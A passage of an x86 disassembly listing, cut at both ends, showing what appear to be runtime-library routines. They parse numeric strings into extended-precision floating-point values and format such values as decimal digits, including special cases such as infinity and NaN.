		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43C538
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43C538
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43C538
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43C534, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43C538
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43C534, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43C534, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43C534, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43C534, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
